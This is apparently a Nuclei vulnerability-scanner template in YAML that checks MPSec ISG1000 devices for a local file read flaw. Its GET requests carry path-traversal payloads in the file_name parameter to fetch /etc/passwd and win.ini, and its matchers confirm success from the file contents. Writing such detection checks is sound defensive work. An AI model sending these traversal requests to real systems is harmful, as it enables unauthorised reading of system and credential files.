32 lines
754 B
YAML
32 lines
754 B
YAML
id: mpsec-lfi
|
|
|
|
info:
|
|
name: MPSec ISG1000 Local File Read
|
|
author: pikpikcu
|
|
severity: high
|
|
reference: https://twitter.com/sec715/status/1402884871173795842
|
|
tags: mpsec,lfi
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd"
|
|
- "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../c:/windows/win.ini"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "for 16-bit app support"
|
|
- "root:.*:0:0:"
|
|
part: body
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "text/plain"
|
|
part: header |